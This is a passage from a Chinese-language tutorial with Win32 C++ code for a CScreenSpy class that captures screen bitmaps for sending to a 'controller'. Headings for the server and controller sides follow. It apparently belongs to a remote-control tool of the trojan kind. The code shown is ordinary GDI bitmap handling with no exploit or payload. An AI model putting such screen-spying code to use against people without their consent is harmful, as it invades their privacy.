m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
// 用 设备的 DC 创建 位图 图像 结构 保存在这 中缓冲区内
// 保证 不用保存成文件 进行发送给 主控 为位图分配了 内存空间
// HBITMAP m_hLineBitmap, m_hFullBitmap;
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
// 将内存DC 与 BITMAP 联系起来
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
ConstructBI 函数定义
为了创建位图的 结构
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小
biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表
*/
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
lpbmih->biWidth = biWidth;
lpbmih->biHeight = biHeight;
lpbmih->biPlanes = 1;
lpbmih->biBitCount = biBitCount;
lpbmih->biCompression = BI_RGB;
lpbmih->biXPelsPerMeter = 0;
lpbmih->biYPelsPerMeter = 0;
lpbmih->biClrUsed = 0;
lpbmih->biClrImportant = 0;
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
// 16位和以后的没有颜色表,直接返回
if (biBitCount >= 16)
return lpbmi;
/*
Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。
Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。
*/
HDC hDC = GetDC(NULL);
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
ReleaseDC(NULL, hDC);
DeleteObject(hBmp);
if (m_bIsGray)
{
for (int i = 0; i < color_num; i++)
{
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
}
}
return lpbmi;
}
sendFirstScreen
7.5 服务端编写
ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,
ScreenSpy这个类完整的成熟的类
添加insert New class
添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下
7.6 主控端的编写
7.7 完善主控端
· 跟踪鼠标
· 色位调整
桌面管理并添加代码